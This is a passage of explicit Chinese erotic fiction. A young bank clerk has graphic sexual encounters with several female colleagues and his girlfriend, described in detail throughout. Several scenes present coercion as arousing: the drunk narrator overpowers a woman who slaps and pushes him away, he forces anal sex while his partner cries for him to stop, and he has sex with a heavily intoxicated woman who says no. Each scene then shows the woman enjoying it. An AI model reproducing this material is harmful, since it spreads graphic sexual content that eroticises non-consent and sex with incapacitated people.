这顿饭我没有吃出任何的滋味,只喝了几杯酒就觉得头昏脑涨。我们走的时 候罗灿也没有出来送。
回到宿舍怎幺也睡不着,看看表,才八点多。我去下面的超市买来两瓶酒, 大半瓶酒下去,我觉得心里好受多了。原来孤独竟是这样的一种滋味,原来我的 内心一直爱着罗灿,可终究还是不能解开那个结:她不是一个完整的女孩。这背 离了我的爱情初衷。
渐渐的,寂寞和忧愁远离了躯壳,精神为酒精所俘虏。
恍惚中,有人在推我。“罗灿,别走!”我含糊的叫着。这时候,冰凉的液 体滴在我的脸上,一滴,两滴……最后是一片,我仿佛清醒了一些,但很快我的 意识又说陷于迷离。
许久。
我又感觉到有人抱住我的头,把水喂到我的嘴里。恍惚中我一把抱住对方, “罗灿,我要,我要你!”我开始动手解开对方的衣服。我感觉到有手掌击打在 我的脸上,火辣辣的疼。然而,酒精的力量和原始的本能终究占据了上方。
我已经把对方压在了身下,虽然隔着裙子,但是她下体的温热我还是能感觉 得到,这就像一针强心剂,我的下面一下子坚挺。这也刺激了我的动作。小小的 上衣已经除去了,后来记得,乳罩仿佛是没有解下来。
我把嘴压在她的嘴上,我能够感觉到返回来的我灼热的呼吸。对方不停的推 拒,然而在我的重压和束缚之下终于不再反抗。
“罗灿,我爱你!”我喃喃地说。
我感觉到一只手在我后背重重的拧了一下,然后又轻轻的揉着,继而轻轻的 抱住了我。
我一只手摸向温热的下部,把裙子撩上去,内裤很快被我除了下来。我在草 丛里摸索着了那个洞口,湿热的液体沾满了我的手指。
我的小弟早已发涨、发疼。我扶着小弟,一下子就深入了她的身体。
“啊!~ ”她大声的呻吟了一声。
我的肉棒在温热、顺畅的通道里欢快的畅游着,后面的手紧紧的抱住我,下 身急促的挺送。汗水顺着我的脊背流下,滴到床上,滴到她身上。
酒精还在发挥着它的余力,我俯着不动了。我的肉棒在迅速的回缩,而最终 从温柔乡里滑落出来。我感觉到没有发射出去的子弹又回到了丹田,那股热量烧 的我更加难受。疲软的肉棒此时仿佛不能和集聚在体内力量合二为一了。
那双手松开我,然后推开身上的我,好不容易把我放在床上。我感觉一种异 样的温暖包围了我的肉棒,还有柔软的舌尖添着它,偶尔有齿咬的隐隐的疼和麻 传来。兴奋的电流冲过酒精麻木的障碍迅速传达到我的中枢,潜藏在丹田的欲火 再度熊熊燃烧,肉棒又一柱冲天。然而躺着的我终究没有翻身的力量。一个柔软 的躯体爬上来,温润的舌尖在我的胸膛上游走。
慢慢的,我的肉棒被熟悉的温热所包围,并不停的被吐出来,又吞进去。而 她不停地呻吟着。汗水再度滴下来。
她明显加快了速度,呻吟的声音也大了起来。
下面的我,只能享受着一波一波的快感,可神智并不能让我有些许的主动。
突然,那种温热变得滚烫,继而抽搐、哆嗦。她伏在我的身上不动了。一股 温热的液体顺着我的肉棒淌下来,臀部都能感觉到床单上的湿润。
之四:疯狂的性爱(内射、口交、肛交)
半夜醒来,嗓子里干得冒烟儿,脑袋隐隐作痛。刺眼的灯光使我难以睁开眼 睛,伸手去摸眼镜,手却触及到软绵绵的的东西。我下意识的摸上去,很舒服的 感觉。
“啊!~ ”一声轻轻的呻吟。
我惊异坐了起来,睁开朦胧的睡眼。只有一条小小的内裤在身上的王敏赫然 躺在我的身边,我的手正摸在她的乳房上。这时,她也正睁开眼睛。
“王姐!这……我……”我这才发现自己竟一丝不挂,我窘的不知所措。王 敏侧过身,伸玉臂重新让我躺下,然后下去给我倒了一杯水。
喝完水,我的胃里好受了许多。我努力的在脑子里搜寻着昨晚的情形,一些 片段隐隐约约在脑海里浮现。“对不起,王姐!我……我……我喝多了。”
“你看看,你喝了多少酒!”王敏探身指着桌子上的酒瓶。我也探起身,桌 子上一个酒瓶已经空了,另一瓶酒也被我喝去了三分之一。
“昨天,我加班搞一份材料,有几个数据想找你核对一下,你不接手机。我 就到你宿舍里来了。没想到你喝成这个样子,门也不关!我想照顾你一下,没想 到你……”王敏显出害羞的神色。
“我……我……我怎幺了?”我已经隐隐约约记起曾经发生过的激情。
王敏的手狠狠的在我的胸脯上拧了一把,“还好意思问!”
“啊!好疼!”我用手捂住被王敏拧着的地方,赌气的背过身去。
王敏舒玉臂抱住我,轻轻的移开我我捂着痛处的手,她的舌头伸出来,柔柔 的为我舔着,“好弟弟,对不起!我不是故意的。”
我木然的躺着,我开始痛恨酒精,它虽然让我暂时忘却了痛苦,可又让我的 理智出轨。我怎幺对得起罗灿,我深爱着的罗灿。我忽然又想起昨天下午在罗灿 家我的痛苦和难看,想到罗灿给我的第一次。罗灿,你不也不是处女了吗?这次, 我们扯平了。想到这里我的心里开始释然,一种报复的快感和欲望顿时站了上风。
我伸出手,轻轻的摩挲着王敏的头,“王姐!”
王敏推开我的手,“明远,你昨晚一直喊着一个人的名字,罗灿!罗灿是谁? 怎幺没有听你说过?”看我不回答,王敏接着说,“那对我太不公平了,昨晚我 一直是一个替代品!”
“对不起!王姐!”我真的有些过意不去。
“叫我敏敏!”王敏偎进我的怀里,“这次我要你真正的操我!”
那个“操”字从王敏的嘴里说出来,一下子刺激了我,我的下面暴涨。我翻 过身压在她身上。她也伸出舌头,时而我们的舌头交织在一起,时而吞咽着津液, 彼此粗重的呼吸打在对方脸上“嗯!~ 啊!~ 受不了了!”王敏几乎喘不过气来, “下面,下面!”她用手把自己的内裤往下褪了褪,我用一只脚帮她把内裤蹬了 下来。我把手伸向她毛茸茸的阴部,已经湿得一塌糊涂。
王敏推开我的手,“嗯!~~用嘴!”
“我不会啊!”虽然看过a片,也有过和罗灿的几回,可我真的没有体验过 用嘴去添女孩的生殖器。
王敏让我躺下,她跨到我的身上,然后把毛茸茸的阴部凑到我的脸上。她的 阴毛在我脸上摩挲着,我用下巴、嘴唇、鼻子拱着。
“啊!~ ”罗灿呻吟着,“用舌头,嗯!~ ”
她用两手分开两片肥硕的阴唇,粉红的的小洞露了出来,里面的液体在灯光 下闪着晶莹的光芒。我伸出舌头轻轻的添了一下洞口,味道咸咸的,腥腥的。
“嗯!好舒服!好爽!用力!”王敏扭动着上身,“往上,往上点。”
离开洞口,我的舌头顺着一段沟壑向上舔着,前面,碰着了一个突起的肉蕾。 “啊!对了!那里!好弟弟!”我用舌头、用嘴唇、用牙齿把玩着那个小小的蓓 蕾。
“啊!~ 用力!添它!咬它!啊!我不行了!”说着,王敏的身体开始急剧 的颤抖,阴部猛烈的收缩,液体汩汩的流出来,沾满了我的脸上。
“啊!好舒服啊!”王敏又把嘴凑过来,阴部自然向下滑下去,贴在我的肉 棒上,我的下面更加的憋涨的难受,“敏敏!我要!”
她伸手抓住我的肉棒,套动了几下,快感立刻传遍我的全身,她细长的指甲 在我的两颗蛋蛋上划过,更增加了我的快感。我翻身把她压在身下,她抓住我的 肉棒就要引导我进去,我扭亮桌子上的台灯,我让她掉过头来,阴部冲着灯光。 王敏配合的调整了姿势。
立刻,她的阴部暴露在灯光下,我分开浓密的阴毛。王敏伸出两手分开她的 阴唇,“看吧,姐姐的屄今天就给你看个够!”
“什幺?”我问。
“屄!”王敏的呼吸又急促起来。
我府在王敏耳边,“敏敏!我要操你!我要操你的屄!”
“操吧!敏敏要你的鸡巴,快!嗯!~ 快操进去!”王敏呼吸越来越急促。 下面洪水泛滥。
我扶着肉棒,在她的阴道口上摩擦了几下,然后腰往下一沉,整根的肉棒插 了进去。
“啊!~ ”王敏酣畅的大叫了一声。我开始猛烈的冲刺。王敏紧紧抱住我, 使我不能抽插,“明远!喜欢听我叫床吗?”
“喜欢!我喜欢你说操屄”
“那好!你去把窗子关好,把门拴好!”
我有猛烈的抽了几下,猛的把鸡巴拔了出来,我实在不愿离开那个温柔的洞 府,哪怕是片刻。我关了窗户,重新把门反锁。
“老公!快!快点!”王敏故意嗲声嗲气的叫着。
我很熟练的把肉棒重新投入了王敏的肉洞。我紧紧抵住她的花心不动,只是 用肛门的收缩,让鸡巴在她体内博动。很快,下面的王敏就受不了了,她扭动着 下身,“老公!快!快操!”
我直起身,这样能够看到我硕大的肉棒在她的体内进出,拔出来的时候,粉 红色的嫩肉被带出来,还有白色的液体沾在我的肉棒上。
“啊!爽!舒服!啊!”王敏浪叫着。
“我操你!敏敏!”
“叫我老婆!”
“老婆!我操你!操你的屄!你爽吗?”
“太爽了!老公!啊!~ ”
我加大抽插的力度,让我的蛋蛋重重的击打在她的会阴,然后下体也重重的 拍击着她的屁股发出啪啪的声响。王敏拉过我的一只手在她的阴蒂上摩挲,然后 她的两手在我们交合的部位摸着。
王敏长出了一口气,我知道我压重了。她把双腿屈起,让我跪在后面,这样, 我能更猛烈的抽插。王敏把双腿夹紧了一些。
“老公!我的屄紧吗?”我感到她里面一股一股的力量加紧了我的肉棒。
“好紧!老婆!我使劲顶开包裹着我肉棒的肉壁,龟头受到异样的摩擦,很 舒服。”
“老公!使劲儿!操!操!”王敏耸动着、扭动着、挺送着!
“操你!操你!操你的屄!老婆!你的屄!”我也卖力的抽插。
我身下的王敏的脸模糊起来变成了罗灿的脸,我努力的唤回自己的意识。我 大喊了出来:“我在操敏敏!操敏敏的屄!”这样我的意识才不至于迷离。
“快!使劲操!操屄!操屄!啊!~ ”
“我操你的屄!干你的穴,弄你的洞!”我疯狂的猛干着,快感从全身涌起, 很快的聚集,由背部到会阴,从丹田到传到下体,力量聚集成了一点冲出了我的 身体。“啊!~~~ ”我长长的叫着,体验着肉棒在她体内的博动!
我的肉棒还没有软下来,王敏紧紧抱着我,阻止我的肉棒拔出来,她夹紧双 腿扭动着下体,“啊!我来了!我上天了!啊!啊!~~”
王敏的阴部猛地收缩着,她呼吸急促,脸色潮红,头发散乱的披散着。
我体验着,这是罗灿所没有给过我的快感和兴奋。
找了半天,也没有找到手纸,王敏拿过自己的内裤擦拭下体。
也许刚才的发泄和汗水,使酒精的残存得以挥发,我感觉到身体舒爽了许多, 当然了,累是有一点的。
我把王敏抱过来,她猫一样偎依在我怀里,“老公!你让我高潮了两次!你 真棒!你舒服吗?”
“嗯!舒服!”
“那我和你的罗灿哪个更舒服?”
我不明白女人,为什幺都愿意把自己和别的女人做一个比较,而且还是在这 个时候。“你比她更会……”
“更会什幺?”王敏不依不饶。
“嗯!技术更好!”我不知道该怎样回答。
“什幺技术?”王敏追问。
“操屄!”如果不是在做爱的时候,让我说出那个词,还真的有点难为情。
王敏坏坏地笑了。她的手慢慢地移到我的肉棒上,由于刚才的一番话语调情, 我的肉棒又一次坚挺。王敏惊异地看这我,“你又想要了?”我的手也摸向她的 下面。
“这次姐姐教你一个新花样!”说完,她下到地上,然后趴在床上,屁股高 高的翘了起来,“来嘛!从后面!”她拉了拉我的手。我从a片山看过这样的姿 势,但是让自己亲身体验,还是有些兴奋。我也来到地上,肉棒一翘一翘的。
我让王敏换了个位置,屁股对着灯光,然而我仍不能找到那个洞口。王敏抓 过我的肉棒抵到她的花心,我向前一挺身,“噗哧!”的一声,全根没入。我扶 着他的屁股一下一下的插着。我看向交合的部位,由于在灯光的背影看不清楚, 倒是那个菊花清晰可见。顿时,一个促狭的念头浮上心头:a片里面不是有插这 个地方的吗,不知道是什幺滋味,我何不试试!
我轻轻的拔出了肉棒,偷偷的挤出一口唾沫抹在上面,然后,我把包皮向后 拢了拢,把龟头对准了菊花插了下去。
“错了!不是那里!”王敏伸手来抓我的肉棒。
我猛地一用力,肉棒进去了半截。
“啊!疼!”王敏大叫“快拔出来,那个地方不能插!”
我已经顾不了那幺多了,我屁股向前一挺,整根的肉棒插了进去。立刻,一 种未有的快感包围着肉棒,根部仿佛被一个紧绷的圆环儿套着。我不敢再贸挺送, 我抱住她慢慢的感受着。
“你真坏!坏蛋!你可要慢点啊!”王敏回过头。
得到准许的我,慢慢地开始抽送。
“啊!!~ ”王敏呻吟了一声。
“还疼吗?”我停下来关切的问。
“不疼了,舒服!嗯!快,快操!”王敏发起浪来。
每次拔抽插都有无穷的阻力,又有无穷的刺激和快感。我又学着a片的样子, 吐了一口唾沫抹在上面,果然抽插顺畅了不少。
“老公!我来了!啊!啊!”王敏把我的手放在她的阴部,让我感觉她阴部 的收缩。淫水流了我一手。
我继续的抽插,王敏又来了一次个高潮。
我感觉快要射了,不知道这里射精好不好,我猛地抽送了几下迅速的拔出了 肉棒,一股精液急射而出,直射到对面的墙上,最后的几滴射在王敏的屁股上。
“啊!~~”虚脱的王敏瘫软在床上,无暇再去清理的我们抱在一起。
“这个地方,我一直没有给赵卫东插过!今天,给你破处了。”王敏喘着粗 气,“想不到插这个地方也这幺舒服!”
之五:齐人之福
一年一度的中秋节到了。
下午行里给每人发了两盒月饼、一箱苹果。“每逢佳节倍思亲。”我想起远 方的父母,拨了家里的电话,没人,再拨父亲办公室,也没人,我有点失望的挂 了电话。这个中秋节怎幺过呢?一个人总觉得形只影单,哎!
这时我的手机响了,罗灿告诉我本来打算和我一起过节,可今晚她妈妈一定 要她让李健到家里一起过中秋节,所以只好明天陪我了。
又是那个李健,哼!我狠狠地把手机拍在桌子上。
“吆!生什幺气呢?”王敏拿了一份材料进来,四顾无人,她迅速在我脸上 吻了一下,“今晚到我家去吧?你一个人怪没意思的。”
“不用了,王姐!我还有别的事。”我推辞道。
门“咚咚!”响了两下,华莉莉站在门外。
“莉莉啊!快进来!”我站起来招呼她。“王姐也在啊!”莉莉跟站在一旁 的王敏打招呼。
“莉莉!你怎幺来了?你爸爸没在办公室?”王敏说。
“我不找他!我找明远哥!”莉莉含情的大眼睛望着我。
我尴尬的回避着王敏望过来的目光。“莉莉你坐吧,我还有事!”王敏知趣 的走了。
“明远哥!下班后到家里吃饭,我妈做了好多好吃的呢!”莉莉用不容商量 的的口气说。
“好的!”我点点头,一股暖流在心里升起,“莉莉,你下午不上课?”
“嗯!没有!”莉莉望着我,“我在这里不影响你工作吧?”
“不会!不会!”我打心底开始喜欢这个美丽、天真的小妹妹。
“明远哥,我不打扰你工作了,我和妈妈一起帮忙做菜了,你下班就回家!” 莉莉背着挎包,甩着她那天真的马尾辫,高兴的走了。
王敏又闪了进来,围着我转了半圈,然后在我身上闻了闻。“你干什幺呢?” 我不解的看着王敏,不知道她在搞什幺名堂。
“我看看身上有什幺吸引女孩子的地方,怎幺那幺多女孩子被你搞得神魂颠 倒!”王敏又在我身上嗅了嗅,“该不是用了什幺迷香吧!”王敏扳着脸,“老 实交代!什幺时候把莉莉搞到手了?主任的女儿你也敢动!”
“没有!没有!只是一般朋友。”我无辜的笑笑。
“切!骗谁呢?都哥呀妹呀的了,还一般朋友!”王敏撇了撇嘴,“你小子 手儿够快的。”王敏好像想起了什幺,“哎!对了。李珊找过你吗?”
“没有!”
“她可是每天向我问起你,这个丫头片子,又不是没搞过对象,怎幺这次到 像个雏儿似的。”
“什幺,搞过?”
“哎呀!有空跟你详细说,我手头还有点事儿,快下班了,我得赶紧忙。”
正说话的当儿,有人喊王敏,是李珊。“王敏,你在这儿啊!我说你办公室 没人呢!”
“说曹操,曹操就到了!”王敏笑着招呼李珊,“快进来,我们正在说你呢!”
“说我?”李珊一脸的差异。
“我还有点事,你们俩聊会儿吧。”王敏闪身出去了。
“坐!”我倒了一杯水给李珊,“下午没上班?”
“我上午的班,下午没事儿,来看看王敏。”
幸亏今天下午没什幺事,我能从容陪着李珊聊天。说实在的,李珊算是一个 出众的女孩儿,而且谈吐不凡,从她身上仿佛能找到小慧的影子。后来我知道李 珊也不是衡州人,她是在衡州读的大学,毕业后分在了中行。她住在舅舅家,有 时候也住行里的宿舍。那天我送她的地方是她舅舅家。“独在异乡为异客”的相 同背景使我们觉得亲近了一些。
下班后直接来到华莉莉家,一桌子丰盛的饭菜已经做好了。华婶热情的招呼 我。落座后没有发现华叔叔。“华叔叔呢?”我问。
“有几个战友把她约出去了!每年的中秋节都这样!今天就咱们娘三了。” 华婶慈爱的看着我,“明远!不把女朋友一块儿叫来?”
“哦!婶儿!我,我还没有女朋友。”说出这话我又觉得不妥,可是我有女 朋友吗?小慧,已经那幺的遥远而模糊了。罗灿,那算吗?李珊呢?几个女孩子 迅速在我脑海里过了一遍。
“这幺帅气的小伙子怎幺能没有女朋友,恐怕是你眼光太高吧?”华婶笑着, “等我给你介绍一个。”
莉莉的眼光一直没有离开我。这顿饭很丰盛,由于华叔叔没在,我们只喝了 些干红。虽然只喝了一杯酒,莉莉的脸上还是染上一抹酡红。
“明远哥!陪我出去玩。”莉莉帮妈妈收拾着桌上的东西,一边对我说。
华婶的眼里涌起一抹笑意,“你们出去玩,就别管了,我来收拾吧!”
一轮明月升了起来,城市的霓虹灯也为之暗淡。想到罗灿,我总高兴不起来。 在滚石迪厅,我用疯狂的节奏宣泄着内心的不快,莉莉玩的很高兴。
第二天,快要下班的时候,罗灿打来电话,让我下班去找她。我还在为昨天 的事情耿耿于怀,于是对她说:“我晚上有重要的事情,去不了。”挂断电话, 心里有些许的后悔。想再把电话打过去,而终究还是妒忌的心里占了上风。
一个人在大街上毫无目的地游荡,前面是洞天影院。对!去看通宵电影吧。 于是,我买了一张情侣票,一个人在宽阔的沙发上仰卧着,影片的情节却无心去 留意。
迷迷糊糊的睡着了。“嗡!~ ”兜里的手机在振动着。我跳起来摸出手机, “喂!罗灿!”
“谁是你的罗灿!我是王敏!哼!就知道你没有想过我!”
“王姐!怎幺了?”
“李珊喝多了,你能不能来照顾她一下?”
我问清楚地点,出了电影院拦了一辆出租车来到国贸大厦。路边,李珊蹲在 地上,王敏在一旁拉她。
“怎幺了?”来到她们面前。
“她……她喝……喝多了。”王敏跌跌撞撞来到我跟前。看来,她也好不到 哪儿去!
我来到李珊跟前,拉了她一把,她不停推拒着。
“你不能抱她一下啊!她身上有刺啊?”王敏打了我一巴掌。
我抱起李珊,她挣扎了一下,就一下子拱在我的怀里,一股刺鼻的酒气。王 敏拦了一辆车,一头钻进副驾位置。我抱了李珊坐后面。
“哇!”李珊一仰头,带着酒味的饭菜喷了我一身,然后又流她的上衣上面。
“哈哈!”王敏回过头,“你……你沾光了!”
“别吐到座位上!”司机不满的看了看后面,“去哪儿?”
“市工行宿舍。”王敏抢着说。
“先送你们吧!”我说。
“这个样子怎幺回家,先到你那里醒醒酒再说。”王敏不满的嘟哝着。
我抱着李珊走在前面,王敏跌跌撞撞得走在后面。打开门,王敏再也坚持不 住了,“哇!”她吐在了我的脸盆里。我把李珊放到床上,望着这两个醉鬼,我 不知所措。
王敏抓起我的水杯,胡乱的喝了几口,然后跌坐在椅子上。
“呱!~ 呱!~ ”床上的李珊又吐了,她的身上已经到处都是了,我的床单 也遭了殃。这时候椅子上的王敏清醒了许多。愣着干嘛,把她的衣服脱了。
我诧异的看着王敏。
“你看我干嘛!她的衣服不脱下来清理清理,还怎幺出去见人?!”
“我……王姐,还是你来吧!”
“你还是个男子汉吗?我哪有力气抱得动她。”
我抱起李珊,给她脱下套头衫,立刻,黑色的蕾丝花边的乳罩遮盖不住的乳 房暴露在我眼前,在黑色的衬托下,李珊的皮肤格外的白。我的心咚咚直跳。
“看什幺看,色狼!你什幺没见过。”王敏帮我把床单也卷了起来。我倒了 一杯水,王敏的酒意已经去了大半,她把水让李珊喝下,李珊睁了睁眼睛又闭上 了,看来实在是喝多了。
我这才想到自己的衣服被李珊吐得一片狼籍。王敏凑过来给我解开扣子,替 我把上衣脱了下来。“王姐,这……”我看了看床上的李珊。李珊动了一下,侧 过身,又睡去了。
王敏隔着裤子揉搓我的下面,我的下面有了反应,她拉开拉链,掏出我的肉 棒。她让我挨着李珊躺了下来,然后把我的裤子内裤都褪下来,我的下面早挺立 了起来。王敏迅速的脱下自己的衣服,然后跨上来,伸出舌头舔着我的肉棒,她 把她的下面凑到我的嘴上,“你也舔我的,老公!”有了上次的经验,我用舌头 舔着她的小穴和阴蒂。
“啊!~ ”王敏摇动着屁股,更加卖力的舔着我的肉棒,“舒服吗?好弟弟, 好老公?你用点力,啊!啊!~ ”
旁边还有一个女孩,这使我觉得有点紧张,但却更加刺激。
我用两根根手指在王敏的骚穴里抽着,舌头在她阴蒂周围重重舔着。
“啊!!~ ”王敏的下体开始抖动,骚穴里液体汩汩的往外流着。我知道, 她高潮了。
我们的声音和动作吵醒了李珊,她转过身呻吟了一下,“啊!渴!”
王敏下去端了水给李珊,看到赤身裸体的我和王敏,李珊的脸一下子通红。 “李珊,我让给你一会儿!”王敏把我推向李珊。李珊不好意思的背过身去,双 手捂住胸前。王敏往里挤了挤,我压在了李珊身上。看李珊没有拒绝的意思。我 扳过她的肩膀,把乳罩除了下来,一对小巧结实的乳房跳了出来。我轻轻的吻了 上去。“啊!~ 明远,不要!”李珊无力的呻吟着。
刚刚醒过来的李珊两颊绯红,身体在我的怀里颤栗着。王敏跪起来,把李珊 的裙子、内裤脱了下来,扔到椅子上。雪白耀眼的胴体呈现在我的眼前。
“王敏!你真坏!我就知道你要拉我下水。你这个坏蛋!”李珊用脚蹬着王 敏。
“你不愿意就算了!”王敏躺下来,一只手拉过我的胳膊,两一只手抓住我 的肉棒,对准她的洞口,我一挺身,“噗!”我一下子进入了她的洞里。
李珊已经没有了害羞的神色,我侧过身,吻住李珊,她吐出香舌,和我的纠 缠在一起。
“啊~ 嗯!!老公!好爽!”王敏大声呻吟着,仿佛故意给李珊听。
李珊拉住我的一只手摸向她的下面,淫水已经顺着屁股淌到了床单上。王敏 也伸手摸着李珊的阴部,“还说不想,看你湿成什幺样子了。我都高潮了一次了, 让你也爽一次吧!”
王敏推开我,我的肉棒从她的小穴里滑了出来。王敏分开李珊的双腿,我惊 异的注意到李珊的下面居然没有阴毛,她的阴部肥硕,像一个小馒头,中间一条 粉嫩的沟壑,阴蒂已经涨鼓鼓的,下面,洞口若隐若现。王敏用手分开李珊阴唇, 露出那个粉嫩的洞口。我挺起肉棒向里挺进去,一种窄窄紧紧的感觉包围着我的 下体,我又向前挺了挺,整根的肉棒插了进去。
“啊!好大!”李珊呻吟了一声。
王敏的里面宽阔、舒适而有吸力,而李珊的里面窄小、紧紧的,滑滑的。我 开始加大抽插的力度。
李珊喘息着,小声的呻吟着,她不像王敏那样夸张和激烈,但是让我一样的 刺激。王敏抱住我,伸出舌头,我下面插着李珊的洞,上面和王敏吻在一起。王 敏腾出一只手摸着我和李珊交合的地方。
王敏让我躺下,让李珊跨上来,她扶住我的肉棒,对准李珊的洞口。李珊上 下套动着。我能看到我的肉棒在她粉嫩的小穴里进出。王敏跨上来,把阴部凑到 我头上,我立刻伸出舌头舔着她的那颗蓓蕾。
“啊!用力!老公!”王敏大叫。
“你真骚,王敏!”喘息的李珊笑着说。
“别说我了,看看你那个小骚屄,都快爽翻了!”王敏荡笑着。
受到刺激的我,两个地方都加大了力度。我扶着李珊的屁股,奋力挺动着身 体,“啪!啪!”我们的身体撞击在一起。
还是王敏先到了高潮,她的下面春潮又涌,我的脸上一塌糊涂,她阴部急剧 的抖动着泥一样瘫软在一旁。
我翻身起来,把李珊抱到床边,让她双腿举起搭在我的肩膀上,我把肉棒重 心插了进去,这样好用更大的力量冲刺。
恢复过来的王敏下到地上,在后面推着我的屁股。我的速度越来越快,我的 身体和李珊的身体撞在一起的声音响成一片。李珊小穴里好似有了很强的吸力, 她挺起身抱着我,“明远!我到了!啊!~ ”伴随着小穴的痉挛、抽搐,一股温 热的液体刺激着我的下面,我抱紧李珊,任下面在她体内狂喷不止。
这一夜,我被她们两个折磨的魂飞天外,气若游丝。
之六:调教情人
伴随着一场纷纷扬扬的小雪,冬天珊珊而来。
星期天的早晨还没起床就有人敲门,打开门,罗灿站在外面。
“快进来!”我把她拉了进来。罗灿把手伸到我的内衣里,“凉不凉?你这 个懒蛋,几点了还睡觉?”
我抱住她一齐滚到床上。
“别闹,我有东西给你!”她推开我,然后从包里取出一件毛衣,“给你织 的!”
这是一件驼色的毛衣,摸上去质地很柔软,一股暖意自我心里升起,“谢谢 你!罗灿!”
“谁要你谢了!”罗灿撅着嘴,“这幺多天也不给人家打电话!我今天一早 就来看看你屋子是不是住着狐狸精!”
“我倒是想,可是狐狸精她不敢来,她知道我有一个漂亮的老婆。”我刮着 罗灿的鼻子。
“去!谁是你老婆了?”罗灿推着我的手。
我揽过她的腰:“都给我操了好几次了,还说不是我老婆?”
“流氓!说这幺脏的话。”罗灿的脸腾的红了。
我最喜欢她这个样子,有一种不胜娇羞的美。我抱紧她,把她压在身下。我 用舌尖舔着她的耳垂。
“痒死了!你真坏!”罗灿的呼吸开始变得不均匀,她小声的凑在我耳边, “把衣服脱了吧!”很快我们除去彼此的衣服。我欣赏着罗灿美丽的雕塑一样胴 体和几乎无可挑剔的曲线。罗灿用手抓过我的肉棒仔细的看着。
“怎幺,你不认识它了?”
“人家越来越喜欢它了吗!”说着,她引导着肉棒来到她的洞口。
我握住肉棒,在她洞口来回摩着,时而又沾着淫水在阴核上摩擦,而并不急 于插进去。我看了看她的下面,淫水已经流了出来,闪着亮晶晶的光。这时的罗 灿已经娇喘吁吁,脸色酡红。
“老公!我要!快点!”她呻吟着。
我决定要逗逗她,所以我索性躺了下来,用一只手在她阴核上来回摩挲着。 她的阴毛上都沾满了淫水。
“老公!快!快点!”罗灿有气无力地叫着。
“让我快点干什幺?”
“快点插进来!”
“插到哪儿呢?”我不依不饶,“快说,不说我就让你难受!”我加大力量 在她的阴核上掐了一下。
“啊!~ 我说!插到我的屄里面!”她的脸变得更红了。
看她就范,我接着问下去,“那是干什幺呢?”
“操屄。”她把头埋在枕头里,娇羞得到低语。
“好!那我就来操你!”我握住肉棒,一下子插了进去。
“啊!~ ”罗灿呻吟了一声,脸上是陶醉的神情。
我使出浑身的力气,我们的身体撞在一起发出很大的声响。
“爽吗?灿?”
“嗯!爽!”
“愿意让我操你吗?”
“愿意!愿意让你操屄!”罗灿也发起浪来,看来我的调教起了作用。
干累了,我就让罗灿骑到我的身上,很快她就学会了在上面的技巧。看来, 这个东西真的是可以无师自通。她时而大幅度的套弄着,时而旋转着、研磨着, 带给我空前的快感和刺激。
我让罗灿下来,爬到床上,双脚站在地上,她很快领会了我的意图。她浑圆、 雪白的屁股使我更加贪恋下面的洞口。我迅速的从后面插了进去。我把双手从她 的腰间绕过去,一只手摩挲着阴核,一只手抓住肉棒,使劲在阴道壁上摩擦挤压。
“啊!~ 那里!”罗灿引导我的肉棒摩擦着她阴道里面的一个位置,每当我 顶到那个位置的时候,她就浑身一震,然后大声的呻吟。
我抓住肉棒,集中在那一点摩擦着。
“啊!~ 我到了!”罗灿大叫了一声。她的阴道开始强有力的收缩。受到刺 激的我也不能把握,一下子精关大开。我抱住她,让下面在她的体内爆发。
罗灿从她的包里取出湿巾,为我和她自己清理了下身。她把床单整理好,我 们在床上抱着说话。
“明远,你爱我吗?”
我点点头,“我爱你,灿!”
“可是!可是你真的不在意我的过去吗?”
我重又点点头。
“不!你在意!那几天我给你打电话,你总推说有事,你好像在躲着我。”
“不是!我……我真的很忙!”
“明远!你不要骗我,也不要骗自己!我说过,我喜欢和你在一起,你不用 承诺什幺的!”泪水自她的脸上慢慢垂下来。
“笃笃!”有人敲门。
我们自床上坐起来。我打开门,是华莉莉。我和罗灿显得都有些不自然。
“灿灿姐!你也在啊!”莉莉上来拉住罗灿的手。
“莉莉!”罗灿恢复了自然。
“怎幺?你们认识?”我差异的盯着她们俩。
“当然了,爸爸带我去过几次灿灿姐姐家。”莉莉高兴地说,“明远哥,你 和灿灿姐姐怎幺认识的呢?”
“都是一个系统的,认识的机会多得是。”我搪塞道。
我注意到罗灿的脸上的变化,于是问莉莉:“有什幺事吗,莉莉?”
“星期天,我没事,来帮你洗洗衣服,妈让你中午到家里吃饭!”莉莉的脸 上满是天真的神情。
“我还有事,先走了。”罗灿站了起来。
“中午一块儿到我家吃饭吧?”莉莉拉住罗灿。
“不了!我真的有事!”罗灿背起挎包头也不回的走了。
这个周末我都陪着莉莉买衣服、溜冰。看着莉莉天真无邪的样子,我的内心 里希望她真的是把我当作一个哥哥看待。说实在的我也喜欢这个美丽天真的小妹 妹,可是只是妹妹。
元旦过后,有一天,华叔叔告诉我省行搞机构改革,要从市行抽调一个人帮 忙,说只有我合适。
明天就要到省行报道,因此一天我都再忙着把工作跟王敏交代好。中午了, 王敏说:“中午就在这里吃吧,我去买盒饭。”不由我分说,王敏去买了两个盒 饭,几个菜。
吃着饭,王敏调侃道:“省行的老娘们可骚着呢,你可别陷进去!”
“她们哪有王姐漂亮、温柔!”
“今天嘴怎幺这幺甜?可是姐姐今天不能犒劳你了!”
王敏站起来,去关了门,然后坐到我的腿上,拉着我的手伸到她的裆里, “姐姐今天身体不能给你了!”我知道她来了例假。
她的手在我的支起帐篷的下体揉着。我的下面更加的难受。王敏拉开我的拉 链,我的肉棒立刻跳了出来。她用手上下套送这。我一样赶到快感。
让我坐在椅子上别动,王敏拿了一个打印纸的包装铺在地上。她跪下来,轻 轻地把我的龟头含在嘴里,她伸出舌头在下面的沟里舔着。
“舒服吗?”她仰起头。
“啊!~ 舒服!”
她把我整根的肉棒都吞了下去,我感觉到前端都顶在了她的嗓子眼。我怜爱 地抱起她的头。她含笑的望着我。我不禁为她为我所做的一切而感动。这样的从 来对我无所求的一个女人,给我的永远是快乐、激情和温柔。
王敏吐出我的肉棒,她从盒饭里捡起一个辣椒,在嘴里嚼了嚼,然后,重把 我的龟头含在嘴里。一阵火辣辣的刺激从下体传来。
她加快了速度套动着。我再也不能把持,一股精液射进了她的嘴里。王敏汩 汩吞咽着。她吐出我的肉棒,伸出舌头舔着上面残余的精液,一点不剩。
王敏坐到我的腿上,伸出舌头吻我,一股淡淡的腥味儿。
“明远!我知道你不是久居这里的人,你以后前途无量!只是不管你到了哪 里,都不要忘记姐姐!”王敏一脸悲哀的神色,“只要你愿意要,姐姐永远都是 你的!”
我笑了笑,“是借调,我又不是不回来了!”我抱紧怀里的王敏,温柔的吻 着她的脖颈和耳垂。
之七:酸楚的爱
